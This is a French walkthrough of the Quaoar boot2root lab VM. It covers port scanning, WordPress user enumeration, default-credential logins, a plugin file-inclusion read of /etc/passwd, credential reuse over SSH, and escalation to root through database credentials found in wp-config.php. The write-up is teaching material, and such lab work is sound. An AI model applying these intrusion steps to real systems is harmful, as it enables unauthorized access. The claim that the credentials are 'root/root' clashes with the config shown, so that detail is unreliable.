Quaoar Virtual Machine - Walkthrough

“Quaoar” est une machine virtuelle de type “Boot2Root” créée pour le HackFest 2016. Ce type d’exercice vise à améliorer ses compétences en sécurité informatique. Il suffit de lancer la Machine Virtuelle, puis trouver un moyen depuis l’extérieur de passer root sur le système ! Cette VM est en libre accès sur Vulnhub.

On réalise simplement un ping sur l’adresse IP de la VM pour s’assurer qu’elle est bien up.

$ ping -c 3 192.168.56.101
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.275 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=0.438 ms
64 bytes from 192.168.56.101: icmp_seq=3 ttl=64 time=0.265 ms

+++ 192.168.56.101 ping statistics +++
3 packets transmitted, 3 received, 0% packet loss, time 2039ms
rtt min/avg/max/mdev = 0.265/0.326/0.438/0.079 ms

Et… C’est parti !

Découverte

La première chose qui nous intéresse est de savoir ce qui tourne sur la machine distante, et surtout ce à quoi nous pouvons accéder. On commence donc par réaliser un scan de ports à l’aide de nmap.

$ sudo nmap -sS -O -sV -p- 192.168.56.101

Starting Nmap 7.31 ( https://nmap.org ) at 2017-04-10 12:23 CEST
Nmap scan report for 192.168.56.101
Host is up (0.00021s latency).
Not shown: 65526 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain      ISC BIND 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3    Dovecot pop3d
MAC Address: 08:00:27:BC:E9:82 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.15 seconds

Plusieurs ports ouverts, allons fouiller de plus près !

Étant donné qu’il y a souvent un grand nombre de possibilités en passant par le serveur web d’un système, c’est sur le port 80 (HTTP) que nous allons démarrer nos investigations. Allons voir ce qui est accessible si on rentre l’adresse IP dans un navigateur web.

quaoar_1.png

Le scan nmap a révélé un accès au fichier robots.txt, allons voir quelles informations nous pouvons récupérer.

quaoar_2.png

Hmm hmm… Il semble que nous sommes face à un site WordPress ! L’outil WPScan s’avère être très utile dans ce genre de situation, afin de rechercher la version de WordPress utilisée, d’éventuelles vulnérabilités et également tenter d’énumérer les utilisateurs.

$ sudo wpscan --url http://192.168.56.101/wordpress --enumerate u
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9.2
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.56.101/wordpress/
[+] Started: Mon Apr 10 12:53:49 2017

[!] The WordPress 'http://192.168.56.101/wordpress/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache/2.2.22 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.3.10-1ubuntu3
[+] XML-RPC Interface available under: http://192.168.56.101/wordpress/xmlrpc.php
[!] Upload directory has directory listing enabled: http://192.168.56.101/wordpress/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://192.168.56.101/wordpress/wp-includes/

[+] WordPress version 3.9.14 (Released on 2016-09-07) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
[!] 8 vulnerabilities identified from the version number

[!] Title: WordPress 2.9-4.7 - Authenticated Cross-Site scripting (XSS) in update-core.php
    Reference: https://wpvulndb.com/vulnerabilities/8716
    Reference: https://github.com/WordPress/WordPress/blob/c9ea1de1441bb3bda133bf72d513ca9de66566c2/wp-admin/update-core.php
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5488
[i] Fixed in: 3.9.15


...


[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Enumerating usernames ...
[+] Identified the following 2 user/s:
    ++++-+++++++--+++++++--+
    | Id | Login  | Name   |
    ++++-+++++++--+++++++--+
    | 1  | admin  | admin  |
    | 2  | wpuser | wpuser |
    ++++-+++++++--+++++++--+
[!] Default first WordPress username 'admin' is still used

[+] Finished: Mon Apr 10 12:53:54 2017
[+] Requests Done: 61
[+] Memory used: 17.465 MB
[+] Elapsed time: 00:00:05

Une version dépassée.. Plusieurs vulnérabilités ! Nous verrons plus tard si l’une d’entre elle peut être exploitée, mais pour le moment, le plus intéressant est de voir que l’utilisateur “admin” est toujours utilisé !

Accès Web et Shell

Sait-on jamais, essayons de se connecter à /wp-admin/ en utilisant les credentials admin/admin.

quaoar_3.png

Ça fonctionne ! Pas certain de si c’est bien ou triste… Peu importe ! WPscan n’a pas trouvé de plugin. Allons voir manuellement si des plugins sont installés.

quaoar_4.png

“Mail Masta” version 1.0… Après une rapide recherche sur Google, on remarque que ce plugin, dans cette version, souffre de plusieurs vulnérabilités critiques, comme une Local File Inclusion (LFI) ou encore une Injection SQL. On tente d’exploiter cette LFI et de récupérer le contenu du fichier /etc/passwd.

quaoar_5.png

Bien, on dispose maintenant de la liste des utilisateurs du système cible. Un bon nombre de ces utilisateurs sont des utilisateurs communs pour des systèmes comme celui ci, mais les derniers sont souvent intéressants. On a par exemple un utilisateur “wpadmin”. Si on pense de la même manière que précédemment, l’administrateur du site WordPress a utilisé le mot de passe par défaut pour son site web, pourquoi changerait-il son mot de passe sur la machine ?

On a vu dans le scan précédent qu’un service SSH est disponible, sur le port 22. Essayons une connexion SSH avec le compte “wpadmin”… et le même mot de passe !

$ ssh wpadmin@192.168.56.101
wpadmin@192.168.56.101's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Mon Apr 10 09:15:30 EDT 2017

  System load:  0.0               Processes:             99
  Usage of /:   35.4% of 7.21GB   Users logged in:       0
  Memory usage: 43%               IP address for eth0:   192.168.56.101
  Swap usage:   0%                IP address for virbr0: 192.168.122.1

  Graph this data and manage this system at https://landscape.canonical.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 10 08:02:43 2017 from 192.168.56.1
$ whoami
wpadmin
$

Une nouvelle fois… Ça fonctionne !

On récupère le premier flag 🙂

$ ls
flag.txt
$ cat flag.txt
2bafe61f03117ac66a73c3c514de796e

Rooting time !

Nous sommes maintenant connectés à la machine cible et on peut commencer à récolter des informations précises sur le système. Quelle est la version du Système d’Exploitation ? Qu’est ce qui tourne sur la machine ?

$ uname -a
Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux

Kernel 3.2.0… Un peu dépassé ! Allons chercher s’il existe des exploits permettant de réaliser une escalade de privilège.

Plusieurs exploits sont trouvés, incluant la fameuse Dirtyc0w. Malheureusement, gcc n’est pas installé sur le système. Plusieurs tentatives de cross-compilation d’exploits puis d’envoi sur la machine via scp on été faites, mais aucune n’a fonctionné. Il faut trouver un autre moyen… Peut être chercher moins compliqué ?

Une simple chose que nous n’avons pas vérifié au départ sont les fichiers classiques utilisés par WordPress. En effet, on sait que les CMS tels que WordPress utilisent des fichiers de configuration (e.g wp-config.php pour WordPress). Rendons-nous donc dans le répertoire d’installation de WordPress.

$ ls
index.php    wp-activate.php	 wp-comments-post.php  wp-content   wp-links-opml.php  wp-mail.php	wp-trackback.php
license.txt  wp-admin		 wp-config.php	       wp-cron.php  wp-load.php        wp-settings.php	xmlrpc.php
readme.html  wp-blog-header.php  wp-config-sample.php  wp-includes  wp-login.php       wp-signup.php
$

Puis tentons d’afficher le contenu du fichier wp-config.php.

$ cat wp-config.php
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, WordPress Language, and ABSPATH. You can find more information
 * by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
 * wp-config.php} Codex page. You can get the MySQL settings from your web host.
 *
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/** */
define('WP_HOME','/wordpress/');
define('WP_SITEURL','/wordpress/');

...

Ok, autre chose intéressante, la base de données MySQL du site utilise les identifiants root/root ! Ces identifiants sont utilisés pour la base de données… Mais peut être sont ils les mêmes pour le compte root du système ?

$ whoami
wpadmin
$ su root
Password:
root@Quaoar:/home/wpadmin## whoami
root
root@Quaoar:/home/wpadmin#

w00t ! Ça fonctionne !

On a maintenant le second et dernier flag !

Conclusion - Un dernier mot

Même si cette machine virtuelle n’était pas difficile à rooter et même si la partie technique n’a pas été très complexe, Quaoar nous apprend de bonnes choses… Des erreurs toujours faites dans le monde réel… Alors, par pitié, N’UTILISEZ PAS DE MOT DE PASSE PAR DÉFAUT ET CHANGEZ LE ! 😉

Cela peut être vraiment grave et donner un accès à des personnes mal intentionnées !

Hack The Box - Haystack